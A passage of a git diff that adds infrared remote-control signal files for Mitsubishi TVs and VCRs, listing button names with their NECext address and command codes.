5A 00 00 00 +# +name: INPUT:_ANTENNA_A +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 5A 00 00 00 +# +name: FUNCTION_> +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 5C 00 00 00 +# +name: UNKNOWN_#1 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 5C 00 00 00 +# +name: PIP_SOURCE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 5F 00 00 00 +# +name: TV_SOURCE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 5F 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 5F 00 00 00 +# +name: PIP_INPUT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 5F 00 00 00 +# +name: INPUT;_COMP_2 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 61 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 62 00 00 00 +# +name: INPUT:_VIDEO_1 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 62 00 00 00 +# +name: TV_GUIDE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 63 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 63 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 65 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 65 00 00 00 +# +name: TV_< +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 65 00 00 00 +# +name: TV_ADJUST_< +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 65 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 65 00 00 00 +# +name: FREEZE_(PAUSE) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 67 00 00 00 +# +name: INPUT;_COMP_1 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 69 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 6A 00 00 00 +# +name: INPUT:_VIDEO_2 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 6A 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 6D 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 6D 00 00 00 +# +name: TV_> +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 6D 00 00 00 +# +name: TV_ADJUST_> +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 6D 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 6D 00 00 00 +# +name: POSITION +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 6E 00 00 00 +# +name: PIP_AUDIO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 6F 00 00 00 +# +name: INPUT:_DTV_ANT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 71 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 72 00 00 00 +# +name: INPUT:_VIDEO_3 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 72 00 00 00 +# +name: PIP_CHAN_+ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 76 00 00 00 +# +name: PIP_CHANNEL_+ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 76 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 77 00 00 00 +# +name: PIP_ON/OFF +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 77 00 00 00 +# +name: TV_PIP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 77 00 00 00 +# +name: PIP/POP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 77 00 00 00 +# +name: INPUT:_DTV +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 79 00 00 00 +# +name: INPUT;_VIDEO_4 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 7A 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 7D 00 00 00 +# +name: TV_HOME +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 7D 00 00 00 +# +name: PIP_CHAN_- +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 7E 00 00 00 +# +name: PIP_CHANNEL_- +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 7E 00 00 00 +# +name: EXCH +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 7F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/TV/87,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/TV/87,-1.ir new file mode 100644 index 000000000..1137c16b1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/TV/87,-1.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: VCR/TV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 05 00 00 00 +# +name: V/TV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 05 00 00 00 +# +name: VCRA_TV/VCR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 05 00 00 00 +# +name: TV_PIP_VCR_CH_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0A 00 00 00 +# +name: TV_PIP_VCR_CH_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 12 00 00 00 +# +name: VCRA_INPUT_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1A 00 00 00 +# +name: QUICK_PROGRAM +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 33 00 00 00 +# +name: VCRA_INPUT_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3A 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3A 00 00 00 +# +name: VCRB_TV/VCR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 85 00 00 00 +# +name: VCRB_INPUT_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 9A 00 00 00 +# +name: VCRB_INPUT_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: BA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown/119,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown/119,-1.ir new file mode 100644 index 000000000..210861782 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown/119,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: 1_SU +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 00 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 01 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 02 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 03 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 04 00 00 00 +# +name: AUDIO_TV/VCR +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 05 00 00 00 +# +name: 2_M +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 09 00 00 00 +# +name: SCAN_^_(CH_^) +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 0A 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 0C 00 00 00 +# +name: 3_TU +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 10 00 00 00 +# +name: SCAN_V_(CH_V) +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 12 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 14 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 17 00 00 00 +# +name: 4_W +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 18 00 00 00 +# +name: INPUT_V +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 1A 00 00 00 +# +name: DISP_(DISPLAY) +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 1B 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 1C 00 00 00 +# +name: 5_TH +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 20 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 22 00 00 00 +# +name: FF/FS_>> +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 24 00 00 00 +# +name: 6_F +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 28 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 2A 00 00 00 +# +name: REW/RS_<< +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 2C 00 00 00 +# +name: REVERSE +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 2D 00 00 00 +# +name: 7_SA +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 30 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 32 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 35 00 00 00 +# +name: 8_M-F +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 38 00 00 00 +# +name: INPUT_^ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 3A 00 00 00 +# +name: ADJUST_^ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 41 00 00 00 +# +name: ADJUST_V +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 49 00 00 00 +# +name: AUDIO_^ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 50 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 52 00 00 00 +# +name: AUDIO_V +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 58 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown/71,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown/71,-1.ir new file mode 100644 index 000000000..2802b3723 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown/71,-1.ir @@ -0,0 +1,662 @@ +Filetype: IR signals file +Version: 1 +# +name: TV_1 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 00 00 00 00 +# +name: TV_1_(SUN) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 00 00 00 00 +# +name: TV_9 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 01 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 01 00 00 00 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 02 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 02 00 00 00 +# +name: TV_TV/VCR +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 05 00 00 00 +# +name: TV_CANCEL +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 07 00 00 00 +# +name: TV_2 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 08 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 08 00 00 00 +# +name: TV_2_(MON) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 08 00 00 00 +# +name: TV_0 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 09 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 09 00 00 00 +# +name: TV_CHANNEL_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: CHANNEL_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: TV_CH_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: TV_SCAN_^(CH_^) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: TV_SCAN_^_(CH_^) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: TV_QV +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0F 00 00 00 +# +name: Q.V. +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0F 00 00 00 +# +name: TV_Q.V. +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0F 00 00 00 +# +name: TV_3 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 10 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 10 00 00 00 +# +name: TV_3_(TUE) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 10 00 00 00 +# +name: TV_CHANNEL_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: CHANNEL_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: TV_CH_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: TV_SCAN_V(CH_V) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: TV_SCAN_V_(CH_V) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: TV_OFF-T +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 17 00 00 00 +# +name: OFF_TIMER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 17 00 00 00 +# +name: TV_OFF-T_OTR +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 17 00 00 00 +# +name: TV_4 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 18 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 18 00 00 00 +# +name: TV_4_(WED) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 18 00 00 00 +# +name: TV_INPUT_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1A 00 00 00 +# +name: TV_DISPLAY +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1B 00 00 00 +# +name: DISP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1B 00 00 00 +# +name: TV_DISP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1B 00 00 00 +# +name: TV_5 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 20 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 20 00 00 00 +# +name: TV_5_(THU) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 20 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 22 00 00 00 +# +name: VOL_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 22 00 00 00 +# +name: TV_6 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 28 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 28 00 00 00 +# +name: TV_6_(FRI) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 28 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 2A 00 00 00 +# +name: VOL_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 2A 00 00 00 +# +name: TV_7 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 30 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 30 00 00 00 +# +name: TV_7_(SAT) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 30 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 32 00 00 00 +# +name: TV_ENTER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 35 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 35 00 00 00 +# +name: TV_8 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 38 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 38 00 00 00 +# +name: TV_8_(M-F) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 38 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 39 00 00 00 +# +name: TV_INPUT_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3A 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3A 00 00 00 +# +name: TV_INPUT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3A 00 00 00 +# +name: TV_VCR/TV +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3A 00 00 00 +# +name: TV_VIDEO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 40 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 40 00 00 00 +# +name: TV_FUNCTION_VIDEO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 40 00 00 00 +# +name: TV_FUNC_VIDEO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 40 00 00 00 +# +name: TV_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 41 00 00 00 +# +name: ADJ_> +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 41 00 00 00 +# +name: TV_ADJ_> +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 41 00 00 00 +# +name: TV_ADJUST_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 41 00 00 00 +# +name: TV_ADJUST_+ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 41 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 42 00 00 00 +# +name: TV_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 49 00 00 00 +# +name: ADJ_< +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 49 00 00 00 +# +name: TV_ADJ_< +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 49 00 00 00 +# +name: TV_ADJUST_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 49 00 00 00 +# +name: TV_ADJUST_- +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 49 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 49 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 4A 00 00 00 +# +name: ANT_B +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 4C 00 00 00 +# +name: SQV +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 4E 00 00 00 +# +name: TV_AUDIO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 50 00 00 00 +# +name: TV_FUNCTION_AUDIO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 50 00 00 00 +# +name: TV_FUNC_AUDIO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 50 00 00 00 +# +name: TV_MENU +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 52 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 52 00 00 00 +# +name: TV_MODE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 52 00 00 00 +# +name: ANT_A +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 5A 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 5F 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 62 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 63 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 64 00 00 00 +# +name: < +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 65 00 00 00 +# +name: TV_PIP_FREEZE(PAUSE) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 67 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 6A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 6B 00 00 00 +# +name: PAGE_- +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 6C 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 6D 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 72 00 00 00 +# +name: THEME +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 73 00 00 00 +# +name: DAY_+ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 74 00 00 00 +# +name: TV_REC +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 75 00 00 00 +# +name: PIP_CHAN_+ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 76 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 77 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 7B 00 00 00 +# +name: DAY_- +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 7C 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 7D 00 00 00 +# +name: PIP_CHAN_- +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown/87,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown/87,-1.ir new file mode 100644 index 000000000..8cc3696c7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown/87,-1.ir @@ -0,0 +1,1400 @@ +Filetype: IR signals file +Version: 1 +# +name: VCRA_1 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 00 00 00 00 +# +name: VCR_1_(SUN) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 00 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 00 00 00 00 +# +name: VCRA_9 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 01 00 00 00 +# +name: VCR_9 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 01 00 00 00 +# +name: VCRA_POWER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 02 00 00 00 +# +name: VCR_POWER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 02 00 00 00 +# +name: VCRA_PLAY_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 04 00 00 00 +# +name: VCR_PLAY_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 04 00 00 00 +# +name: VCR/TV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 05 00 00 00 +# +name: VIDEO/TV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 05 00 00 00 +# +name: VCR_VCR/TV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 05 00 00 00 +# +name: VCRA_TV/VCR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 05 00 00 00 +# +name: VCRA_VCR/TV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 05 00 00 00 +# +name: VCRA_2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 08 00 00 00 +# +name: VCR_2_(MON) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 08 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 08 00 00 00 +# +name: VCRA_0 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 09 00 00 00 +# +name: VCR_0 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 09 00 00 00 +# +name: VCRA_CHANNEL_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0A 00 00 00 +# +name: VCR_CH_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0A 00 00 00 +# +name: VCR_SCAN_^(CH_^) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0A 00 00 00 +# +name: VCR_SCAN_^_(CH_^) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0A 00 00 00 +# +name: VCRA_SCAN_^_(CH_^) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0A 00 00 00 +# +name: VCRA_CANCEL +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0B 00 00 00 +# +name: VCR_CANCEL +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0B 00 00 00 +# +name: VCRA_REC +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0C 00 00 00 +# +name: VCR_REC +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0C 00 00 00 +# +name: VCRA/TV/CBL_INDEX_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: VCR_JOG/INDEX_S.+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: INDEX_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: VCRA_INDEX_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: VCRA_3 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 10 00 00 00 +# +name: VCR_3_(TUE) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 10 00 00 00 +# +name: VCR_3 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 10 00 00 00 +# +name: VCRA_CHANNEL_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 12 00 00 00 +# +name: VCR_CH_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 12 00 00 00 +# +name: VCR_SCAN_V(CH_V) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 12 00 00 00 +# +name: VCR_SCAN_V_(CH_V) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 12 00 00 00 +# +name: VCRA_SCAN_V_(CH_V) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 12 00 00 00 +# +name: VCRA_STOP_[] +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 14 00 00 00 +# +name: VCR_STOP_[] +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 14 00 00 00 +# +name: VCRA/TV/CBL_INDEX_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: VCR_JOG/INDEX_S.- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: INDEX_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: VCRA_INDEX_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: VCRA_4 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 18 00 00 00 +# +name: VCR_4_(WED) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 18 00 00 00 +# +name: VCR_4 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 18 00 00 00 +# +name: VCRA_INPUT_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1A 00 00 00 +# +name: VCRA_PAUSE_ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1C 00 00 00 +# +name: VCR_PAUSE_ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1C 00 00 00 +# +name: VCRA_5 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 20 00 00 00 +# +name: VCR_5_(THU) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 20 00 00 00 +# +name: VCR_5 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 20 00 00 00 +# +name: VCRA_FF_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 24 00 00 00 +# +name: VCR_FF/SRCH_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 24 00 00 00 +# +name: VCR_FF_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 24 00 00 00 +# +name: VCRA_QV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 25 00 00 00 +# +name: VCR_Q.V. +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 25 00 00 00 +# +name: VCRA_DISPLAY +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 27 00 00 00 +# +name: VCR_DISP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 27 00 00 00 +# +name: VCR_DISPLAY +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 27 00 00 00 +# +name: VCRA_6 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 28 00 00 00 +# +name: VCR_6_(FRI) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 28 00 00 00 +# +name: VCR_6 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 28 00 00 00 +# +name: VCRA_REW_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2C 00 00 00 +# +name: VCR_REW/SRCH_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2C 00 00 00 +# +name: VCR_REW_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2C 00 00 00 +# +name: VCRA_OFF-T +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2F 00 00 00 +# +name: VCR_OFF-T_OTR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2F 00 00 00 +# +name: VCRA_OFF-T_OTR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2F 00 00 00 +# +name: VCRA_7 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 30 00 00 00 +# +name: VCR_7_(SAT) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 30 00 00 00 +# +name: VCR_7 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 30 00 00 00 